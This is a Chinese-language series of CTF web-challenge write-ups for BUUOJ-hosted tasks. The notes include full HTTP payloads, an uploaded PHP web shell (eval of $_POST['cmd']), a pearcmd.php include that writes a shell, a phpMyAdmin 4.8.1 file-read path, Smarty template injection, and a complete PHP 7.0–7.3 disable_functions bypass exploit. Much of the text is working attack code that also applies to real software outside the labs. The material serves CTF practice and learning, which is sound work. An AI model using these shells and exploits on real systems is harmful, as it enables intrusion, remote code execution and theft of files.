echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}

}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first

md5传入数组绕过即可

1
/?id[]=1&gg[]=2

第二个passwd就弱类型即可

1
passwd=1234567a

注意这个要post传,然后就能拿到flag了

[GXYCTF2019]禁止套娃

问了一句flag在哪里呢,然后就没有提示了,访问了一下flag.php,发现文件是存在的,只不过隐藏在php代码里,没法直接读取,那么现在的问题就是如何读取到flag.php

php版本

1
PHP/5.6.40

没思路了,看了下wp,说是关于无参数rce的

还能扫目录。。。429难顶啊

.git泄露给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { //不让data\filter\php\phar 四个协议
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { //输入的函数没有参数,而且去掉该函数之后只有一个;
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']); //system(cat /flag);;
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

之前猜到了flag.php,那么就尝试读取这个文件

但是et被过滤,file_get_content就不能用了

可以尝试一下readfile,然后参数用session_id来传,最后payload

1
2
3
readfile(sessioni_id(session_start()));

#然后PHPSESSID=flag.php

即可拿到flag

[De1CTF 2019]SSRF Me

给了python源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip): #不存在就创建目录
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action")) //获取cookie中的action参数
param = urllib.unquote(request.args.get("param", "")) //获取 param参数
sign = urllib.unquote(request.cookies.get("sign")) //获取cookie中的sign参数
ip = request.remote_addr
if(waf(param)): //对param进行waf,先变小写,然后去除首尾空格,开头不能是gopher或者file
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())



@app.route('/') //返回源码
def index():
return open("code.txt","r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"



def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')

思路很简单,用genesign路由获取签名,然后ssrf flag.txt即可

有个地方很巧妙,由于直接scan flag.txt,无法回显读取到的内容,如果要读取内容,则acition中一定要有read,

由于签名是字符串拼接,然后md5构成的,所以这里有个类似注入的地方

我们使param=flag.txtread,拼接的字符串就为

1
key+flag.txtreadscan

这样我们在请求/De1ta的时候,使param=flag.txt,action=readscan,验证出来的签名就是正确的,最终payload:

1
2
3
4
5
6
7
8
9
GET /geneSign?param=flag.txtread HTTP/1.1
Host: 4df8b6af-3759-4452-b5bc-2cb397412556.node3.buuoj.cn
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-HK;q=0.7,zh-TW;q=0.6,en-US;q=0.5
Connection: close
1
2
3
4
5
6
7
8
9
GET /De1ta?param=flag.txt HTTP/1.1
Host: 4df8b6af-3759-4452-b5bc-2cb397412556.node3.buuoj.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Cookie: action=readscan;sign=21984255208132f8aa5e5df9933ab0ef
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-HK;q=0.7,zh-TW;q=0.6,en-US;q=0.5
Connection: close

即可得到flag

注意,我这里曾犯过一次小错误,我直接去请求http://127.0.0.1:5000/flag.txt结果没有成功读出flag,原因是这个服务是flask构造的,而不是apache构造的,所以及时路径对了,如果不是路由里面的,就无法直接访问改文件,这点值得注意

[安洵杯 2019]easy_web

打开网页源码,提示 md5 is funny~

观察url

1
http://9738553c-e0cb-4924-97ac-1387091198e3.node3.buuoj.cn/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

把img的参数给去掉,那张图就没了

img显然不是md5,尝试base64解码一下,变成MzUzNTM1MmU3MDZlNjYz0

还是不像,再解码一次3535352e706e6630

有点像了,尝试MD5解码一下,查了一下,并没有成功

查查16进制字符串试试,转换出来是这个555.pnf0,试试用这个方法读一读index.php

1
img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

还真的读到了

得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

这个过滤没啥,ls能用dir替代,dir / 之后,发现根目录有一个flag,然后cat /flag,发现cat被ban,于是用ca\t /flag绕过即可得到flag

[GXYCTF2019]BabyUpload

文件类型露骨,只要把Content-Type改成 image/jpeg即可

非常一般的思路,上传.htaccess,设置php解析引擎,然后上传后门,蚁剑连接即可,然后直接拿flag

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST / HTTP/1.1
Host: f35c0a14-90b3-42ed-a924-dcce5d2c247e.node3.buuoj.cn
Content-Length: 321
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://f35c0a14-90b3-42ed-a924-dcce5d2c247e.node3.buuoj.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaGPLz11bIxR5zfql
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://f35c0a14-90b3-42ed-a924-dcce5d2c247e.node3.buuoj.cn/
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-HK;q=0.7,zh-TW;q=0.6,en-US;q=0.5
Cookie: PHPSESSID=39660d66f25f6f640294a91ecde197a4
Connection: close

------WebKitFormBoundaryaGPLz11bIxR5zfql
Content-Disposition: form-data; name="uploaded"; filename=".htaccess";
Content-Type: image/jpeg

AddType application/x-httpd-php .a
------WebKitFormBoundaryaGPLz11bIxR5zfql
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryaGPLz11bIxR5zfql--

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST / HTTP/1.1
Host: f35c0a14-90b3-42ed-a924-dcce5d2c247e.node3.buuoj.cn
Content-Length: 338
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://f35c0a14-90b3-42ed-a924-dcce5d2c247e.node3.buuoj.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaGPLz11bIxR5zfql
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://f35c0a14-90b3-42ed-a924-dcce5d2c247e.node3.buuoj.cn/
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-HK;q=0.7,zh-TW;q=0.6,en-US;q=0.5
Cookie: PHPSESSID=39660d66f25f6f640294a91ecde197a4
Connection: close

------WebKitFormBoundaryaGPLz11bIxR5zfql
Content-Disposition: form-data; name="uploaded"; filename="shell.a";
Content-Type: image/jpeg

<script language='php'>@eval($_POST['cmd']);</script>
------WebKitFormBoundaryaGPLz11bIxR5zfql
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryaGPLz11bIxR5zfql--

[BJDCTF2020]Mark loves cat

网站最下端放着一个单词 dog

明显与题意不符,不知道暗示这什么

访问.git,出现403,不知道有没有源码泄露,用工具跑了一下,发现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}

echo "the flag is: ".$flag;

挺简单的一道题,就是考察逻辑思维了,给出我自己第一次想出的payload

1
yds=flag&flag=yds&handsome=yds

即可回显flag

[GWCTF 2019]我有一个数据库

进入首页,是一堆乱码

查看robots.txt,给了一个提示phpinfo.php

访问一下,出了个执行phpinfo的界面

看到mysqli启用了,猜测是用这个连接的数据库,看一看有没有什么敏感信息

/phpmyadmin可以直接进入不需要密码

版本为4.8.1

尝试搜索一下这个版本的漏洞

搜索到任意文件读取等漏洞,构造payload,读flag

1
/phpmyadmin/index.php?target=db_datadict.php%253f/../../../../../../../../../flag

参考

1
https://blog.csdn.net/qq_43579362/article/details/108476182

[BJDCTF2020]ZJCTF,不过如此

题目给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

一个任意包含漏洞,直接上黑科技

1
2
3
4
5
6
7
8
9
10
11
POST /?+-c+/var/www/html/config3.php+-d+man_dir=<?@eval($_POST['cmd']);?>/*+-s+list&file=pearcmd.php&text=php://input HTTP/1.1
Host: d0d3da64-9f03-4ad9-a789-82b576cc6ed4.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-HK;q=0.7,zh-TW;q=0.6,en-US;q=0.5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

I have a dream

然后直接蚁剑连接config3.php,密码cmd拿到flag

[BJDCTF2020]The mystery of ip

有一个回显ip的功能,尝试一下xff欺骗

在header中加一个X-Forwarded-For: 127.0.0.1

回显了127.0.0.1,果然有用,但是好像没法利用,试试模板注入

1
X-Forwarded-For: {{1+1}}

回显了2,成功了,然后随便输些奇怪的东西

1
{{"".__mro__}}

php报错回显

1
2
Unexpected &quot;.&quot;, expected one of: &quot;}&quot; &lt;-- 
thrown in <b>/var/www/html/libs/sysplugins/smarty_internal_templatecompilerbase.php</b> on line <b>1</b><br />

从报错信息中可以看出,用的是smarty模板引擎

尝试一下注入

1
{system('czat /flag')}

拿到flag

[GKCTF2020]CheckIN

题目写了个源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}

public function x()
{
return $_REQUEST;
}
}
new ClassName();

用蚁剑连接后,发先目录下有一个flag,尝试读取,但是发现没有权限,还看到一个readflag,看来要运行readflag来查看flag。

用蚁剑的虚拟shell来执行试试,结果发现被拦住了,查看一下phpinfo,发现卡在disable_function那里,于是尝试用以下exp来打打看

查看php版本

7.3.18

然后找到对应版本的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("uname -a");

function pwn($cmd) {
global $abc, $helper;

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

class ryat {
var $ryat;
var $chtg;

function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}

class Helper {
public $a, $b, $c, $d;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if you get segfaults

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);

$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();

$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);

exit();
}

尝试将此文件上传到网站目录下,发现上传失败,仔细观察了一下,该目录权限是0755,看来是权限问题,看看有没有1777的文件夹,发现/tmp目录可以上传,传到tmp目录,然后使用后门include这个文件来执行

然后即可拿到flag

[SUCTF 2019]Pythonginx

题目给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 @app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url)) //两种过滤方式使host不为suctf.cc
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
</code>
<!-- Dont worry about the suctf.cc. Go on! -->
<!-- Do you know the nginx? -->

给了俩提示,提示需要suctf.cc,以及nginx可能存在解析漏洞

unicode编码爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:
pass

def getUrl(url):
url=url
host=parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts=list(urlsplit(url))
host=parts[1]
if host == 'suctf.cc':
return False
newhost=[]
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1]='.'.join(newhost)
finalUrl=urlunsplit(parts).split(' ')[0]
host=parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False


if __name__=='__main__':
get_unicode()

可以爆破出一系列可用的unicode字符

payload

1
2
file://suctf.cⒸ/usr/local/nginx/conf/nginx.conf
file://suctf.cⒸ/usr/fffffflag

[BJDCTF 2nd]假猪套天下第一

.ds_store 泄露,拿到目录信息,发现一个文件

L0g1n.php

直接访问,提示

1
Sorry, this site will be available after totally 99 years!

发现cookie中有一个time变量,于是想起了php中的时间函数

1
time() -- 时间戳,197011日零点以来的秒数

由于100年后秒数过大,超出int范围,所以用strtotime("2020-3-3 05:15:33") 函数无法转换,但是既然是秒数,那么只要够大就可以了,可以直接输入一个超级大数,如999999999999

回显

1
Sorry, this site is only optimized for those who comes from localhost

直接xff

回显

1
Do u think that I dont know X-Forwarded-For?<br>Too young too simple sometimes naive

啊这,换成Client-ip试试,可以了,回显

1
Sorry, this site is only optimized for those who come from gem-love.com

这个改一下referer就可以了

回显

1
Sorry, this site is only optimized for browsers that run on Commodo 64

改一下User-Agent

回显

1
no no no i think it is not the real commmodo 64, <br>what is the real ua for Commdo?

在网上找到了需要的user agent:Commodore 64 ,回显

1
Sorry, this site is only optimized for those whose email is root@gem-love.com

需要加From头,回显

1
Sorry, this site is only optimized for those who use the http proxy of y1ng.vip<br> if you dont have the proxy, pls contact us to buy, ¥100/Month

回显

1
Sorry, even you are good at http header, you're still not my admin.<br> Althoungh u found me, u still dont know where is flag <!--ZmxhZ3tiYmU2MWU5OC0zMjA3LTQ1MDAtODNjYi03ZmU2NDExYTM5ZWJ9Cg==-->

base64解密看看,获得flag

1
flag{bbe61e98-3207-4500-83cb-7fe6411a39eb}

[0CTF 2016]piapiapia

一个登陆窗口,试一下是否存在register.php

还真有,尝试注册admin,成功了,难道能重复注册?再注册一次,失败了,看来不可以

说明admin不是管理员账号,或者没有管理员

用注册的账号登陆后发现是一个文件上传的功能

上传一个文件后,文件当作头像,保存在profile.php中,内容base64加密,然后放在图片标签里面,但是名字什么的是正常解析的,考虑名字注入php语句,尝试后发现,名字和电话和邮箱都有格式限制

发现www.zip给了源码

1
2
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

这里可以用数组绕过

1
2
3
4
5
6
7
8
9
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

这里如果存在select等字符,会被替换成hacker,但是也因此多出了一个bug,where被替换成hacker的时候会多一个字符,这样就会导致序列化字符串逃逸,构造payload

1
2
#nickname
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

然后访问profile.php,把图片的base64编码解码一下即可

[NCTF2019]Fake XML cookbook

[网鼎杯 2020 朱雀组]phpweb

打开题目,回显以下字段

1
Warning: date(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in /var/www/html/index.php on line 24

网站好像是每秒刷新一次

抓个包,发现存在可疑参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /index.php HTTP/1.1
Host: f5b599bf-1642-43aa-b417-a203013c8a67.node3.buuoj.cn
Content-Length: 16
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://f5b599bf-1642-43aa-b417-a203013c8a67.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://f5b599bf-1642-43aa-b417-a203013c8a67.node3.buuoj.cn/index.php
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-HK;q=0.7,zh-TW;q=0.6,en-US;q=0.5
Cookie: UM_distinctid=175fdd88ebd4b2-001629a41e5151-930346c-190140-175fdd88ebe5b0
Connection: close

func=echo&p=haha

尝试把func改成system,回显hack

尝试改成echo,回显

1
call_user_func() expects parameter 1 to be a valid callback, function 'echo' no t found or invalid function name in <b>/var/www/html/index.php</b> on line <b>24</b><br />

看来是调用了一个call_user_func()函数,然后对以p为参数的func函数进行执行

调用file_get_contents函数来获取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

此题ban了许多函数,但是我们可以反序列化构造test类,来绕过限制

[ASIS 2019]Unicorn shop

给了一个购买窗口

价格只允许一位字符

1,2,3都购买不了

购买4的时候提示金额不足

什么也不输会有报错信息

1
2
3
4
5
6
Traceback (most recent call last):
File "/usr/local/lib/python2.7/site-packages/tornado/web.py", line 1541, in _execute
result = method(*self.path_args, **self.path_kwargs)
File "/app/sshop/views/Shop.py", line 34, in post
unicodedata.numeric(price)
TypeError: need a single Unicode character as parameter

4应该有进行unicode规范化

https://www.compart.com/en/unicode/U+2182

使用这个值为10000的字符绕过限制

这个网站中搜索值大小的字符,建议使用英文搜索,如搜索1w的字符,使用’ten thousand‘

在hint处找到一个提示

1
<!-- Why not take a closer look at cookies? -->

看一下cookie,发现flag.php登陆之后,会有一个cookie:user=输入值

更改这个输入值可以造成ssti漏洞

